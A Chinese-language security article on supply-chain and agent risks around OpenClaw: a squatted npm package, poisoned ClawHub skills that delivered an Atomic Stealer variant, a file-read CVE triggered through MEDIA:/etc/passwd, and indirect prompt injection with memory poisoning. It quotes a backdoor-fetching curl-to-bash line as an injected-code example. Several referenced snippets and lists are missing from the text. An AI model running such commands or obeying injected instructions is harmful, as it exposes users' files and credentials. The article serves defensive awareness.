从 Clawdbot 到 OpenClaw ：揭秘 AI Agent 的三重生态系统供应链风险

虽然Clawdbot改名为OpenClaw (Moltbot)，但是本质未变，并伴随事件的最新发酵，从一个“漏洞”演变为对于Agent生态系统的供应链攻击。攻击者不再直接攻击模型，而是渗透任务自动化链条与依赖模块。这种攻击通过破坏信任传递机制，使上游组件的污染迅速蔓延至整个Agent网络。

在架构层面，Agent的安全性由执行环境 (Runtime) 与组件库 (Skills) 的信任链决定。对于Runtime安全来说，沙箱隔离、Token授权及通信控制是约束恶意指令的最后防线。对于Skills信任来说，外部能力的签名验证与依赖审计决定了调用是否可信。

一旦该信任链条断裂，恶意代码即可通过合法调用实现远程执行，导致Agent从内核决策到行为逻辑全面失控。

由于Anthropic提出商标侵权投诉，项目方紧急将Clawdbot更名为 Moltbot。在更名过程中，项目维护者虽更新了文档和GitHub组织名称，但未能在npm（Node.js 包管理器）上及时注册moltbot包名，导致出现了一个短暂的“安全真空期”。攻击者监控到了项目的更名公告，迅速在npm官方仓库注册了名为moltbot的虚假官方包，其初始版本没有包含明显的恶意负载，旨在先通过安全扫描并获取用户信任（及安装量），从而可以在后续的更新推送中植入恶意代码。

OpenClaw允许用户通过“Skills”（技能）来进行扩展功能。而ClawHub 是一个专为OpenClaw用户设计的Skill平台，旨在帮助用户便捷地查找和安装第三方技能。截至2月3日，安全研究人员发现了一起针对ClawHub的大规模供应链投毒事件“ClawHavoc”，经审计发现ClawHub上2857个技能中有341个包含恶意代码，其中约有341个恶意技能都来自于同一个组织。

以其中一个恶意Skill为例，coding-agent-sjf 的SKILL.md如下：

当Mac OS用户安装使用该SKILL，将会执行如图红框中的恶意指令，将其Base64解码后可以发现，会通过HTTP协议从远程服务器下载并执行

而针对该恶意文件进一步分析，可知其为Atomic Stealer木马的一个变种，在感染用户Mac机器后该木马将在隐藏在后台持续地收集用户的各类敏感信息，例如浏览器密码、钱包密钥等等。

除了软件供应链攻击以及针对AI Agent的Skill投毒，AI Agent自身的基础安全问题也不容小觑。除了1月23日披露的由于反向代理配置导致的未授权访问外，安全研究人员陆续披露了关于OpenClaw的多个CVE漏洞。

以CVE-2026-25475 OpenClaw MEDIA文件读取漏洞。在存在漏洞版本的OpenClaw中，src/media/parse.ts在对路径进行解析时存在如下代码：

当攻击者诱使OpenClaw输出MEDIA:/etc/passwd的文字时，函数isValidMedia返回true，从而可以进一步读取/etc/passwd并将结果返回给攻击者，当然攻击者可以读取OpenClaw所在机器上的任意文件，包括各类账号密码、密钥等。

核心误区： 默认Agent具备自行分辨恶意代码的能力（事实上 LLM 极易被混淆代码欺骗）。

深度解析：

OpenClaw的设计理念是赋予LLM“动手能力”，使其能自主调用系统命令、执行脚本甚至修改本地文件。许多用户和开发者想当然地认为，底层的大语言模型（如 Claude、GPT-4）足够“聪明”，能够识别恶意代码并拒绝执行。然而，这种假设在实践中被反复证伪。

安全研究人员演示过一个场景：用户请求OpenClaw“帮我写一个清理临时文件的脚本”，攻击者通过污染的网页或文档注入隐藏指令后，Agent返回的脚本中悄然夹带了curl http://malicious.site/backdoor.sh | bash。由于OpenClaw默认配置对生成代码不做语义级安全审查，此类命令可被直接执行，在用户毫无察觉的情况下植入持久化后门。

核心误区： 缺乏对Agent运行时的身份校验机制，导致冒充、劫持风险。

深度解析：

AI Agent作为用户的“数字代理”，通常被授予访问邮件、云盘、内网服务甚至银行账户的权限。然而，许多部署方案忽视了Agent本身的身份认证与会话保护问题。

一旦Agent身份被劫持，攻击者可以：

核心误区： 未验证直接使用第三方工具与模型，引入后门。

深度解析：

OpenClaw的生态系统依赖于ClawHub——一个类似于npm或PyPI的技能市场，用户可从中安装各种扩展功能。然而，这一生态已成为供应链攻击的重灾区。

根据The Hacker News和eSecurity Planet2026年2月的报道，安全研究人员对ClawHub上的2,857个Skill进行审计，发现：

核心误区：RAG与记忆录入缺失校验，导致间接提示词注入风险。

深度解析：

OpenClaw作为重度依赖检索增强生成（RAG）和持久化记忆的Agent，会不断从用户对话、外部文档、网页内容中学习。这一特性使其成为间接提示词注入（Indirect Prompt Injection）和记忆污染（Memory Poisoning）攻击的理想目标。

根据eSecurity Planet报道，Zenity研究人员展示了如何通过间接提示词注入将OpenClaw变成“持久化后门”——无需利用任何软件漏洞：

防护思路： 建立针对AI资产的全方位场景风险点检查能力。